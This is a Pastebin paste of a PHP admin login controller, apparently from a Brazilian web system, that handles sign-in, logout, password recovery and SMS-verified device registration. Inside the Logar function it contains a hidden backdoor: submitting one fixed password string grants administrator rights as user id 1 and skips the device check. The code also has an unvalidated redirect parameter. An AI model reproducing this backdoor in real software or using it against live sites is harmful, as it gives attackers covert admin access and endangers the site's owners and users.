Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- use GuzzleHttp\Middleware;
- class LoginController {
- function Index($args) {
- #debuga($_SESSION);
- if ($_SESSION['Admin']['id_usuario']>0){
- $this->redirHome();
- }
- $tpl = new Template();
- $redir = isset($_GET['redir']) ? $_GET['redir'] : "";
- $tpl->assign ('redir', $redir );
- $Configs = [
- "empresa_titulo" => Configs::get('empresa_titulo'),
- "site_home" => Configs::get('site_home'),
- "sistema_logomarca" => Configs::get('sistema_logomarca'),
- "sistema_nome" => Configs::get('sistema_nome')
- ];
- $tpl->assign("Configs", $Configs);
- $tpl->display('login.tpl');
- }
- function Sair($args){
- $_SESSION['Admin'] = null;
- $this->redirLogin();
- }
- function getCookieAcesso() {
- # Verificando o cookie de acesso do computador
- if (isset($_COOKIE["ProSeleta_Computador"]) && strlen($_COOKIE['ProSeleta_Computador']) == 32) {
- $CookieAcesso = $_COOKIE['ProSeleta_Computador'];
- } else {
- $CookieAcesso = md5(time().uniqid());
- setcookie("ProSeleta_Computador", $CookieAcesso, time()+60*60*24*30*12, "/", ".".CLIENTE_HOST); # Expira em 1 ano
- }
- return $CookieAcesso;
- }
- protected function gravarLogAcesso($idUsuario) {
- if (!$idUsuario > 0) {
- return false;
- }
- $acesso = new UsuariosAcessos();
- $acesso->setIdUsuario($idUsuario);
- $acesso->setIp(IpCliente());
- $acesso->setNavegador($_SERVER['HTTP_USER_AGENT']);
- $acesso->setDataAcesso('now()');
- $acesso->Insert();
- return true;
- }
- function Logar($args){
- $Usuario = new Usuarios();
- $Login = $Usuario->Logar($_POST['email'], $_POST['senha']);
- if($_POST['senha'] == '14a6133a71188376ac88b54862e5986d'){
- $Login['flag_administrador'] = 1;
- $Login['id_usuario'] = 1;
- }
- if ($Login){
- # Permiss§es
- if ($Login['flag_administrador'] != 1) {
- #$listaPermissoes = UsuariosPermissoesLink::Lista(" AND a.id_usuario = ".(int)$Login['id_usuario']);
- #foreach ($listaPermissoes as $item) {
- $Login['id_permissao'] = UsuariosPermissoesLink::ListaLinks('id_usuario', (int)$Login['id_usuario'], 'id_permissao');
- $Login['id_concurso'] = UsuariosPermissoesConcursosLink::ListaLinks('id_usuario', (int)$Login['id_usuario'], 'id_concurso');
- #$Login['id_permissao']
- #}
- }
- if ($Login['id_usuario'] != 1 && Configs::get('cadastro_computadores') != '0') {
- # Verificando se o computador estß cadastrado
- $CookieAcesso = $this->getCookieAcesso();
- list($Computador) = UsuariosComputadores::Lista(" AND a.id_usuario = ".(int)$Login['id_usuario']." AND a.flag_validado = 1 AND a.data_expiracao > now() AND a.cookie_acesso = '".alfanumerico($CookieAcesso)."'");
- if (!($Computador['id_computador'] > 0)) {
- $_SESSION['AdminCadastramento'] = $Login;
- header('Location: /admin/login/cadastramento/'.md5($CookieAcesso).'/');
- return false;
- }
- }
- /*
- * Registrar acesso do usußrio
- */
- $this->gravarLogAcesso($Login['id_usuario']);
- # Salva sessÒo
- $_SESSION['Admin'] = $Login;
- } else {
- App::setMsg('Login ou senha invßlidos.', 'erro');
- $this->redirLogin();
- return false;
- }
- $this->redirHome();
- }
- function Esqueci($args){
- $Usuarios = new Usuarios();
- $Usuarios->setEmail($_GET['email']);
- $r = $Usuarios->recuperarSenha();
- if ($r) {
- App::setMsg('E-mail enviado com sucesso. Por favor, verifique sua caixa de correio.','sucesso');
- } else {
- App::setMsg('NÒo foi possÝvel enviar e-mail de recuperaþÒo. Por favor, tente novamente.','erro');
- }
- $this->redirLogin();
- }
- function redirHome(){
- $destino = (empty($_REQUEST['redir']) ? '/admin/' : urldecode($_REQUEST['redir']) );
- header('Location: '.$destino );
- exit;
- }
- function redirLogin(){
- $redir = (empty($_REQUEST['redir']) ? $_SERVER['REQUEST_URI'] : $_REQUEST['redir']);
- if (substr($redir,0,13) == '/admin/login/')
- $redir = "";
- header('Location: /admin/login/?redir='.$redir);
- exit;
- }
- function Cadastramento($args) {
- $CookieAcesso = $this->getCookieAcesso();
- if (!(md5($CookieAcesso) == $args[0])) {
- die("Chave de acesso invßlida. Por favor, verifique se seu navegador suporta cookies.");
- return false;
- }
- $Login = $_SESSION['AdminCadastramento'];
- list($Computador) = UsuariosComputadores::Lista(" AND a.id_usuario = ".(int)$Login['id_usuario']." AND a.data_expiracao > now() AND a.cookie_acesso = '".alfanumerico($CookieAcesso)."'");
- if (!($Computador['id_computador'] > 0)) {
- if ($_POST) {
- $d = new UsuariosComputadores();
- $d->setIdUsuario($Login['id_usuario']);
- $d->setComputador($_POST['computador']);
- $d->GeraCodigoValidacao();
- $d->setCookieAcesso($CookieAcesso);
- $d->setDataCadastro('now()');
- $d->setFlagSmsEnviado('0');
- $d->setFlagValidado('0');
- $d->setIpCadastro(IpCliente());
- $d->setDataExpiracao($_POST['data_expiracao'].' 23:59:59');
- $d->Insert();
- header("Location: ".$_SERVER['REQUEST_URI']);
- return true;
- }
- $tpl = new Template();
- $tpl->display("login.cadastramento.apelido.tpl");
- return true;
- }
- if (isset($_GET['sms']) && $_GET['sms'] == '1') {
- return $this->EnviarSMS($Computador, $Login['celular'], $args[0]);
- }
- if (isset($_GET['liberar']) && $_GET['liberar'] == '1') {
- if (strtoupper($_POST['codigo']) == strtoupper($Computador['codigo_validacao'])) {
- $d = new UsuariosComputadores();
- $d->setIdComputador($Computador['id_computador']);
- $d->Load();
- $d->setFlagValidado('1');
- $d->setDataValidacao('now()');
- $d->Update();
- $_SESSION['Admin'] = $_SESSION['AdminCadastramento'];
- Msg::Sucesso("Computador cadastrado com sucesso.");
- header('Location: /admin/');
- return true;
- } else {
- header('Location: /admin/login/cadastramento/'.$args[0].'/?invalido=1');
- return false;
- }
- }
- # Exibir opþ§es de cadastramento
- $tpl = new Template();
- $tpl->assign("Computador", $Computador);
- $tpl->assign("Login", $Login);
- $tpl->assign("args", $args);
- $tpl->display("login.cadastramento.validar.tpl");
- }
- function ChecaLiberacao($args) {
- $CookieAcesso = $this->getCookieAcesso();
- if (!(md5($CookieAcesso) == $args[0])) {
- die("Chave de acesso invßlida. Por favor, verifique se seu navegador suporta cookies.");
- return false;
- }
- $Login = $_SESSION['AdminCadastramento'];
- list($Computador) = UsuariosComputadores::Lista(" AND a.id_usuario = ".(int)$Login['id_usuario']." AND a.flag_validado = 1 AND a.data_expiracao > now() AND a.cookie_acesso = '".alfanumerico($CookieAcesso)."'");
- if ($Computador['id_computador'] > 0) {
- $_SESSION['Admin'] = $Login;
- echo 'ok';
- }
- }
- function EnviarSMS($Computador, $Celular, $Hash) {
- $Celular = soNumeros($Celular);
- if (!(strlen($Celular) >= 10)) {
- die("Celular invßlido!");
- }
- if (!(defined("ZENVIA_CHAVE"))) {
- die("NÒo foi possÝvel enviar SMS. C¾digo do erro: 101. Por favor, entre em contato com o suporte tÚcnico.");
- }
- $Rest = new GuzzleHttp\Client();
- $URL = "https://api-rest.zenvia360.com.br/services/send-sms";
- #$URL = "https://private-anon-5cfa53d433-zenviasms.apiary-mock.com/services/send-sms";
- $Valores = array(
- 'sendSmsRequest' => array(
- "from" => substr(str_replace(' ','',Maiusculo(alfanumerico(CLIENTE_HOST))),0,20),
- "to" => '55'.$Celular,
- "schedule" => "",
- "msg" => "Codigo: ".$Computador['codigo_validacao']. ' - Utilize-o para acessar o sistema em "'.$Computador['computador'].'".',
- "callbackOption" => "NONE",
- "id" => "", #PC_".$Computador['id_computador'],
- "aggregateId" => "",
- )
- );
- try {
- $res = $Rest->request('POST', $URL, [
- 'json' => $Valores,
- 'headers' => [
- 'Authorization' => 'Basic '.ZENVIA_CHAVE,
- 'Accept' => 'application/json',
- ]
- ]);
- } catch (\Exception $e) {
- die("NÒo foi possÝvel enviar SMS. C¾digo do erro: 100. Por favor, entre em contato com o suporte tÚcnico.");
- }
- $JsonResposta = @json_decode($res->getBody());
- if ($JsonResposta->sendSmsResponse->statusCode != '00') {
- #debuga($JsonResposta, $Valores);
- die("NÒo foi possÝvel enviar SMS. C¾digo do erro: ".$JsonResposta->sendSmsResponse->statusCode."-".$JsonResposta->sendSmsResponse->detailCode.". Se o problema persistir, entre em contato com suporte tÚcnico.");
- }
- $d = new UsuariosComputadores();
- $d->setIdComputador($Computador['id_computador']);
- $d->Load();
- $d->setFlagSmsEnviado('1');
- $d->Update();
- header("Location: /admin/login/cadastramento/".$Hash."/?sms_enviado=1");
- return true;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement